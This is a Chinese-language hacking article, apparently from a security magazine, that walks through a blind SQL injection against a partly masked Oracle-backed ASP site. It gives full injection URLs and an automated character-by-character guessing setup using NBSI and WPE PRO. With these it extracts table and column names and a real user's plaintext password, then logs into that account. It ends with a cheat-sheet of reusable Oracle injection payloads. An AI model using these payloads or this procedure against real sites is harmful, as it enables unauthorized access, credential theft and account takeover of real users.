Oracle注入漏洞的实现
网络通信
编者按:在G1版《Oracle也会受伤》一文中,作者不经意间发现的漏洞相信一定给你带来了不小的震撼,虽然X网已经及时对此漏洞进行了修补,但作者发现并利用漏洞的思路是值得我们研究的。
从PASSWORD下手
我们都知道,数据库中最关键的是用户的账号信息,其中至关重要的是用户名和密码。在Oracle数据库中如何定位这个信息呢?
我们这样假设,user_tab_columns这个系统表里存放了所有的用户表的列名。我们就从这里入手。在IE中提交“http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1”。
这里的意思是查询user_tab_columns表中有没有包含PASSWORD字串的列名。
页面返回正确,说明包含PASSWORD字串列名。我们也可以测试PWD、ADMIN、PASS等敏感字段。
就从PASSWORD下手。知道了有包含PASSWORD字串的列名,那怎么知道是什么表包含了这个列名呢?提交“http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1”。
这里的意思是查看数据库中以A开头的表中有没有列名是包含PASSWORD字段的。如果有的话页面就会正确返回。否则就会报错(如图)。
用NBSI高效检测敏感字段
26个字母逐个试实在累人,这里我利用了NBSI的后台管理地址扫描功能来进行自动检测。NBSI的后台管理地址扫描的地址是由Dict_Admin.txt这个文件来控制的。我们就把文件的内容换成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='B')%20AND%20'1'='1
……
然后在程序的扫描地址中填上http://www.???.cn/HAS_Client/buy/vir_host,点击开始扫描,NBSI就开始帮我们一个个去检测设定的地址了。但是这会有一个问题,500错误NBSI也会显示在下面的结果栏里,而我们只要它显示返回200 OK的地址。怎么办呢?亮出“宝刀”──WPE PRO。它是一个实时截获修改数据包的工具。我们用它把返回的500错误改成404页面不存在,那NBSI就不会在下面显示这个500错误的地址了。WPE PRO的具体用法我这里就不详细说了,网上有大量教程。
这样,可以使我们猜测的效率大大提高。后面的大规模的猜测也是这样。
通过猜测,我们得到了有以C、D、H、M、S、V开头的表,表中包含了敏感字段。一个个来看吧。
先来看C。数据库中以C开头的数据表可能有很多,到底哪个是我们需要的呢。继续来猜测第二位。把Dict_Admin.txt(以下简称ADMIN)文件的内容用全部替换功能换成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CB')%20AND%20'1'='1
……
再次进行检测。OK,得到我们需要的那个表,前两个字符是CU。然后再检测第三位……如此重复。最后得到包含有敏感列名的以C开头的表,名为CUSTOMERMST。看到了CUSTOMER……嘿嘿,有戏啊。当然,猜到五个字符左右的时候,你可以提交http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name like '%25XXXXX%25' and length(table_name)=N) and '1'='1来确定猜测的表名的长度是多少。这样更准确快捷一些。
猜完了表名,可以提交:http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name= 'CUSTOMERMST') and '1'='1来确认一下。页面正确返回就OK了。
CUSTOMERMST表的列名
到现在,我们还不知道具体的列名。下面我们就着手猜测CUSTOMERMST表的列名。由于Oracle没有像MSSQL那样“砰”的一声直接爆字段的功能,所以我们只能去慢慢猜,累啊。幸亏有个自制的NBSI+WPE的检测器。闲话少说,下面来猜测列名,将ADMIN文件的内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='B')%20AND%20'1'='1
……
通过猜测来看看在CUSTOMERMST表中存在以哪些字母开头的列名。页面正确返回,也就是返回200 OK,那就是存在。
通过检测,知道存在以A、B、C、E、F、G、I、L、M、O、P、R、S、U开头的列名。我晕,这么多……没办法,慢慢来吧。先来看以A开头的,这里的方法和上面猜测表名的方法差不多,不再赘述。
OK,得到前两位是AR,继续……最后得到列名为AREAID。这里需要注意一点的是,在逐位检测的时候,可能出来多个结果,就说明有多个列名。比如检测以B开头的第二位的时候,BI和BU都返回200 OK,那么就说明有以BI、BU开头的列名,下面要分别去猜。以此类推,最后我们得到了CUSTOMERMST表的所有列名(擦一下汗……)。看名字,就知道CUSTOMERID、PASSWORD和USERID这三个字段是最重要的。
夺取账户的一切
X网在登录的时候,除了用户名外还需要一个数字ID和密码才能登录。那么这两个ID到底哪个才是用来登录的ID呢?我们这样来做,到该网首页登录框那里,用通过用户名查数字ID的方法查出ID。用什么用户的名字呢?我们可是对数据的类型一无所知啊。在首页上转了转,发现底部有个该网新客户推荐栏目。仔细看了一下,有个房地产门户网站:http://www.**test.com/,嗯,就用test这个名字好了。
OK,得到test用户的ID是10529**2。下面我们就来确定哪个字段才是ID字段。
提交:http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID='10529**2')%20and%20'1'='1
晕,页面没有正确返回,返回了错误。看来不是这个字段。
再提交:http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529**2')%20and%20'1'='1
OK,嘿嘿,这次页面正确返回了。看来USERID字段是放用户登录ID的。同样方法,检测出CUSTOMERID字段是放用户名的。
字段属性知道了,下面开始猜密码了,还是用这个ADMIN用户。当然,还是得一位位地猜。将ADMIN文件内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529**2'%20and%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529**2'%20and%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
……
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529**2'%20and%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529**2'%20and%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
……
这里要加上一个阿拉伯数字,密码一般是字母加数字嘛:)。下面就是猜ID为10529**2的用户的密码的第一位。几秒过后,密码第一位出来了,是n。继续猜第二位,方法和上面猜表名、列名的方法一样,惟一不同的就是这里不会出现多个结果了。最后得到的ID是10529**2的用户的密码是n****。我晕,密码竟然不加密。数据库和安全专家呢……?
猜出了密码,登录一下,成功!现在就有了这个账户的一切权利……
思路总结
这里总结一下一些注入时用到的语句:
0<>(select count(*) from all_tables) and ’1’=’1
猜测是否有all_tables系统表,确认注入。
0<>(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’) AND ’1’=’1
猜测是否有包含定义关键字的列名。
0<>(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’ and substr(table_name,1,1)=’A’) AND ’1’=’1
包含关键列名的表中是否有以A开头的。即开始一位位猜表名。
0<>(select count(*) from user_tables where table_name like ’%25表名关键字%25’ and length(table_name)=N) and ’1’=’1
猜测含有关键字的表名的长度。
0<>(select count(*) from user_tab_columns where table_name=’表名’ and substr(column_name,1,1)=’A’) AND ’1’=’1
猜测列名。
0<>(select count(*) from 表名 where 列名1=’XXXXXXXX’ and substr(列名2,1,1)=’a’) AND ’1’=’1
猜测数据。
那么,Oracle注入漏洞的原理是什么呢?这里我就简单地介绍一下。就拿我们注入的这个页面来说。http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341在ASP程序的源码中的查询语句可能是:select * from TABLE where PackageID =’10341’。
因为作为一个非开源程序的攻击者来说,我们无从知道ASP程序中的源码究竟是什么样子的,只能通过返回的错误信息来判断大概的结构。
我们来分析一下,在访问这个页面时,ASP程序就根据URL中提交的参数10341,去查询了TABLE表中PackageID为10341的数据,并且把它返回给我们。从测试的情况看,这个参数并没有做过滤就放到了查询语句中,这就给我们的注入提供了条件。
当提交http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1 时。在ASP程序中的查询语句就变成了这样:select * from TABLE where PACKAGEID =’10341’ and 0<>(select count(*) from all_tables) and ‘1’=’1’。这样我们就成功地把我们想执行的查询语句插入到了ASP程序原来的查询语句中。
这里和MSSQL有所不同的是,我们不能用符号将后面的语句注释掉,后面的and ‘1’=’1就是为了匹配多出来的那个引号,从而使整个查询语句成立,正常返回页面。比如提交http://www.???.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1’ and ‘x’=’x 整个页面也是正常返回的^_^。
